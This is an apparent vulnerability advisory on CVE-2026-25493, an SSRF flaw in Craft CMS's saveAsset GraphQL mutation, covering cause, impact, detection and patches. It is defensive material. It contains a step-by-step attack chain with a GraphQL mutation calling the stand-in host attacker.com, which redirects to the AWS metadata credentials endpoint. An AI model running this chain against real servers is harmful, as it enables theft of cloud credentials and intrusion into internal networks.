CVE-2026-25493: 
PHP vulnerability analysis and mitigation

CVE-2026-25493 is a Server-Side Request Forgery (SSRF) vulnerability in Craft CMS affecting the saveAsset GraphQL mutation. The flaw exists in Craft CMS versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, and was disclosed on February 9, 2026. The vulnerability arises because the mutation validates the initial URL hostname and resolved IP against a blocklist, but the underlying Guzzle HTTP client follows redirects by default, allowing an attacker to bypass all SSRF protections. It carries a CVSS v3.1 base score of 6.5 (Medium) and a CVSS v4.0 base score of 6.9 (Medium) (Github Advisory, Craft Security Advisory).

The root cause is classified as CWE-918 (Server-Side Request Forgery), where the saveAsset GraphQL mutation in src/gql/resolvers/mutations/Asset.php performs blocklist-based validation on the initial URL but passes the request to Guzzle without disabling HTTP redirect following (ALLOW_REDIRECTS). An attacker can host a redirect script (e.g., redirect.php) on an external server that issues an HTTP 3xx redirect to a target such as the AWS EC2 metadata endpoint (169.254.169.254) or any internal IP address; Guzzle transparently follows the redirect, fetching the internal resource and saving it as a Craft asset. The fix, applied in commit 0974055, explicitly sets RequestOptions::ALLOW_REDIRECTS => false in the Guzzle request options to prevent redirect following (Craft Security Advisory, Patch Commit). No authentication is required to trigger the mutation, making this exploitable by any network-accessible attacker.

Successful exploitation allows an unauthenticated attacker to make the Craft CMS server issue HTTP requests to cloud metadata endpoints (e.g., 169.254.169.254 for AWS, GCP, or Azure instance metadata) or arbitrary internal IP addresses, with the retrieved content saved as a Craft asset. This can expose sensitive cloud credentials, API keys, IAM role tokens, and internal service data, potentially enabling lateral movement within cloud environments or internal networks. Availability is not directly impacted, but confidentiality and integrity are both affected through unauthorized data access and storage (Github Advisory, Craft Security Advisory).

A proof-of-concept exploit is publicly documented in the GitHub Security Advisory, demonstrating the full attack chain using a crafted GraphQL mutation and an attacker-controlled redirect server. The EPSS score is approximately 0.013% (5th percentile), indicating low current exploitation probability. There is no evidence of active in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (Github Advisory, Craft Security Advisory).

1. Reconnaissance: Identify internet-facing Craft CMS instances running versions 4.0.0-RC1 through 4.16.17 or 5.0.0-RC1 through 5.8.21 with the GraphQL API enabled, using tools like Shodan or Censys.
2. Set up redirect server: Host a redirect script (e.g., redirect.php) on an attacker-controlled server that issues an HTTP 302 redirect to the target internal resource, such as http://169.254.169.254/latest/meta-data/iam/security-credentials/ for AWS metadata.
3. Craft the GraphQL mutation: Send the following mutation to the Craft CMS GraphQL endpoint, referencing the attacker's redirect URL:

mutation {
  save_images_Asset(_file: {
    url: "https://attacker.com/redirect.php"
    filename: "metadata.txt"
  }) {
    id
  }
}

4. Bypass SSRF validation: Craft CMS validates attacker.com against the blocklist (passes), then Guzzle follows the redirect to the internal/metadata endpoint without re-validating the destination.
5. Retrieve exfiltrated data: The response from the internal endpoint (e.g., cloud IAM credentials) is saved as a Craft asset, which the attacker can then download or access through the CMS asset management interface (Github Advisory, Craft Security Advisory).

• Network: Outbound HTTP requests from the Craft CMS server to 169.254.169.254 (AWS/GCP/Azure metadata), 100.100.100.200 (Alibaba Cloud metadata), or unexpected internal IP ranges; HTTP 302 redirect chains originating from the Craft CMS process.
• Logs: GraphQL access logs showing saveAsset or save_*_Asset mutations with external URLs as the _file.url parameter, particularly from unauthenticated or low-privilege sessions; web server logs showing requests to /graphql with file upload mutations.
• File System: Unexpected files in the Craft CMS asset storage directories with names like metadata.txt or other suspicious filenames containing cloud credential data or internal service responses.
• Application Logs: Craft CMS application logs recording asset creation events linked to external URLs that resolve to internal or metadata IP ranges.

Craft CMS has released patched versions 4.16.18 (for the 4.x branch) and 5.8.22 (for the 5.x branch), which disable Guzzle's redirect-following behavior in the saveAsset mutation by setting RequestOptions::ALLOW_REDIRECTS => false. As an immediate workaround, administrators can disable the saveAsset GraphQL mutation if it is not required, or implement network-level egress controls to block outbound connections from the Craft CMS server to cloud metadata IP ranges (e.g., 169.254.169.254/32) and internal subnets. Upgrading to the patched versions is the recommended long-term remediation (Craft Security Advisory, Release 5.8.22, Patch Commit).

The vulnerability was reported by security researcher mHe4am and published by angrybrad via the Craft CMS GitHub Security Advisory on February 9, 2026. The Craft CMS maintainer Brandon Kelly committed the fix directly, bundling it with several other security fixes (including additional SSRF, XSS, SQL injection, and RCE vulnerabilities) in the same release, suggesting a coordinated security patch cycle (Craft Security Advisory, Release 5.8.22). No significant broader media coverage or notable social media discussion has been identified beyond standard vulnerability database aggregation.